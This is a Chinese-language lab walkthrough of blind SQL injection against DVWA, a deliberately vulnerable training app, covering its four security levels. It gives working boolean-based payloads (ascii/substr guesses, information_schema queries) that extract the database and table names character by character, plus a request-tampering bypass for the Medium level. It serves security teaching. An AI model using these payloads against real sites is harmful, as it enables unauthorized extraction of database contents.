0%

DVWA通关指南-SQL Injection(Blind盲注)

概述

  • 与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
  • 盲注举个例子:比如本次的dvwa中,输入id后,只有两种结果:存在和不存在
普通SQL注入 SQL盲注
执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
一般在页面上直接就会显示执行sql语句的结果 不会直接显示sql执行的结果
有可能出现不确定sql是否执行的情况

盲注类型

  • 基于布尔值的盲注;

  • 基于时间的盲注;

  • 基于报错的盲注;

在本次实验中只演示基于布尔值的盲注与基于时间的盲注;

盲注过程

  • 判断是否存在注入,注入是字符型还是数字型;

  • 猜解当前数据库名;

    猜解数据库的长度;猜解数据库的名称;

  • 猜解数据库中的表名;

    猜解库中有几个表;猜解表的长度;猜解表的名称;

  • 猜解表中的字段名;

    猜解表中有几个字段;猜解字段的长度;猜解字段的名称;

  • 猜解数据;

安全等级为Low

  • 对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;

  • 同时SQL语句查询返回的结果只有两种:User ID exists in the database;User ID is MISSING from the database;

image-20220210172254464

开始攻击

基于布尔值的盲注

判断注入类型
  • 判断是否存在注入,注入是字符型还是数字型
  • 输入1,查询成功;

image-20220210172531276

输入1' or '1'='1#,查询成功,证明存在字符型SQL注入;

image-20220210172617410

猜解当前数据库名
猜解数据库名的长度

发现输入:1' and length(database()) =4 #,返回正确

image-20220210172912337

猜数据库名字
  • 分别输入,其实他们的值分别为:d,v,w,a,联合起来就是:dvwa

  • 注意substr这里的语法,substr(str,1,1),表示截取字符串从第一位开始,截取一个字符,substr(str,2,1)表示截取字符串从第2位开始,截取一个字符

1
2
3
4
5
6
7
1' and ascii(substr(database(),1,1))=100#       

1' and ascii(substr(database(),2,1))=118#

1' and ascii(substr(database(),3,1))=119#

1' and ascii(substr(database(),4,1))=97#

image-20220210173553877

ascii需要 结合下面的表进行查看,比如ascii(substr(database(),1,1))=100 就算等于d

2021030510302822

猜解数据库中的表名
猜解数据库中表的个数

有两个表,输入:1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

image-20220210173736423

猜解数据库中表的长度
  • 如(guestbook=9,users=5)

    • 输入 1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

    image-20220210173933913

    • 输入:1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

      image-20220210173933913

猜解数据库中的表名
  • 如(guestbook,users),输入下面的值,得到guestbook中的g
  • 注意limit语法,如:select * from tablename limit 2,4,表示即取出第3条至第6条,4条记录
  • 那么下面的语句解释我:查询到所有表后(取第一个表)用substr截取(规则为从第一个字符开始,截取长度为1),最终用ascii进行转换得到值(103)和103进行对比
1
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 
  • 安装上述所述,依次类推可以分别得到uestbook等的值
1
2
3
4
5
--值为u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 #

--值为e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 #
  • 比如第二个表(users)的第一个数据的ascii值为u
1
2
3
4
5
--注意limit的值取的是第2条至第3条记录,就是第二个表,得到的值为u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))=117#

-- 值为s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),2,1))=115#

image-20220211095417168

安全等级为Medium

image-20220211100841155

源码分析

  • 可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义;

  • 同时设置了下拉选择表单,控制用户的输入;

  • 可以简单看出,用户只能选择1-5,存在数字型SQL注入;

image-20220211100943860

开始攻击

  • 没有实际操作,偷懒用别人的图片

  • 虽然使用了下拉选择菜单,但是我们可以通过抓包修改参数,实现SQL注入;

  • 把id的值改为:1 and length(database())=4

image-20220211101224589

  • 接下来的操作与low级别基本上相似,只是不需要1后面的单引号和最后的#

安全等级High

image-20220211101516972

源码分析

  • High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;

  • image-20220211101606213

开始攻击

  • 虽然添加了LIMIT 1,但是我们可以通过#将其注释掉,如输入:1' and length(database()) =4 #

image-20220211101738184

  • 接下来的操作与low级别一样;

  • 虽然源码中限制了输入的长度为1,但是我们在输入的最后加个#,就可以注释掉源码中的limit 1;

  • 在High级别中,不适合用基于时间的盲注,因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4));

安全等级Impossible

image-20220211102110754

源码分析

image-20220211102044615

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;

同时只有返回的查询结果数量为1时,才会输出;

总结

  • sql盲注太耗时了,需要看测试时间,看看是否值得投入测试

  • 本文操作步骤主要来自这里这里